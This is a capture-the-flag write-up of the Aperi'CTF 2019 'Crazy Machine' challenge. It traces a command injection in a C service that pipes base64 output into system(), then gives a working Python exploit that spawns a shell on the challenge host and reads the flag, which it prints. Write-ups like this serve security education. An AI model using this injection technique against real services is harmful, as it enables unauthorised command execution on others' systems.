Aperi’CTF 2019 - Crazy Machine
Challenge details
Event | Challenge | Category | Points | Solves |
---|---|---|---|---|
Aperi’CTF 2019 | Crazy Machine | Pwn | 100 | 8 |
We’re given a chall binary, its sources and the libc file.
Task description:
Reynholm Industries is a secretive company not willing to expose its activity.
Following an investigation, you discovered a strange service running on one of their servers.
Discover how this service works and get information about Reynholm Industries.
The service is running at
crazy-machine.aperictf.fr:31338
.
Reading the name of the challenge, we can prepare ourself to beat a weird and crazy service.
Since we’ve the source code, we can skip the reverse engineering part and perform code analysis.
Code analysis
First, let’s fire up Visual Studio Code and inspect the code.
Reading the C preprocessor part, we can identify the following header files:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <openssl/bio.h>
#include <openssl/evp.h>
#include <openssl/buffer.h>
If we’re focusing on uncommon headers, we can notice that the OpenSSL lib (dubbed libssl) is being used.
Let’s look how this lib is used in the code!
main()
The main()
function mark stdin
and stdout
as unbuffered, print a menu and call function associated to the user entry (encode()
and decode()
).
encode()
The encode()
function basically:
- Get a string from user input (a custom fgets wrapper has been used here)
- Pass the user input to
base64()
function - Perform weird things to the base64 output:
- Strip the
'='
from the base64 output - Strip the
'\n'
from the base64 output - Replace the
'+'
with' '
from the base64 output - Build and execute a shell command based on the base64 output:
- Strip the
echo %s | fold -w2 | rev | tac | perl -p -e 's/[\n]//g'
^ command injection vector!
Ok, we’ve identified a shell command injection vector in the system()
call, let’s analyze the base64()
function to find how we can exploit this command injection.
base64()
The base64()
function is basically an OpenSSL Base64 filter BIO wrapper.
Reading the examples documentation, we can see that the code is quite the same as the provided code. Moreover, there is no valuable known bug in the Base64 filter.
But there is a commented line that differs from the original example provided by the OpenSSL documentation:
// BIO_set_flags(b64, BIO_FLAGS_BASE64_NO_NL); // Write everything in one line
This line is used to define the BIO_FLAGS_BASE64_NO_NL
flag that will be used by the OpenSSL Base64 filter BIO to set wether the output will be wrapped to fit in a custom width.
Looking at the https://github.com/ewilded/shelling#command-separators-trickery, we can get the list of working commmand separators:
%0a
(new line character)%0d
(carriage return character);
&
|
Since the BIO_FLAGS_BASE64_NO_NL
has not been defined, we can assume that we’ll be able to inject newlines on the output!
According to the Base64 manual:
wrap encoded lines after COLS character (default 76). Use 0 to disable line wrapping
To exploit the command injection we then should create a buffer containing a padding string that’ll fill the first column of the output and append a new column that will be executed as a command line.
Exploitation
Let’s run the challenge and try command injection:
nc crazy-machine.aperictf.fr 31338
_____ ___ ___ _ _
/ __ \ | \/ | | | (_)
| / \/_ __ __ _ _____ _ | . . | __ _ ___| |__ _ _ __ ___
| | | '__/ _` |_ | | | | | |\/| |/ _` |/ __| '_ \| | '_ \ / _ \
| \__/| | | (_| |/ /| |_| | | | | | (_| | (__| | | | | | | | __/
\____|_| \__,_/___|\__, | \_| |_/\__,_|\___|_| |_|_|_| |_|\___|
__/ |
|___/ --- Reynholm Industries ---
1 - Encode
2 - Decode
0 - Leave
Your choice:
=> 1
Your string: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHELLO
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
sh: 2: SEVMTE8: not found
Yeah! We finally got a command injection, but the HELLO
string is not injected in cleartext, and has been encoded in base64.
Then, the injected command must be a blob that, after being passed into the base64 filter, will create the final command.
For example:
import base64
final_command = b'bash'
payload = base64.b64decode(final_command)
print(repr(payload))
print(repr(base64.b64encode(payload)))
b'm\xab!'
b'bash'
As described above, when our b'm\xab!'
string is passed into the base64 filter, we successfully get our b'bash'
command!
Additionally, we can bypass the rev
tac
and fold
pipes by adding a new junk chunk to our payload:
We can then build the final exploit:
#!/usr/bin/env python2
# -*- coding:utf-8 -*-
import base64
from pwn import *
def pad(data, length, char):
pad_len = (length - (len(data) % length))
return '%s%s' % (char * pad_len, data)
p = remote('crazy-machine.aperictf.fr', 31338)
p.recvuntil('Your choice:\n=> ')
payload = 'A'*48 # padding
payload += base64.b64decode(pad('/bin/bash', 64, '/')) # exec command and fill the column.
payload += base64.b64decode('exit') # append an additional junk command.
p.sendline('1')
p.recvuntil('Your string: ')
p.sendline(payload)
p.sendline('cat /data/flag')
p.interactive()
p.close()
The final flag is APRK{b3w4R3_0f_C0mM4nd_1nj3c710N!}
Happy Hacking!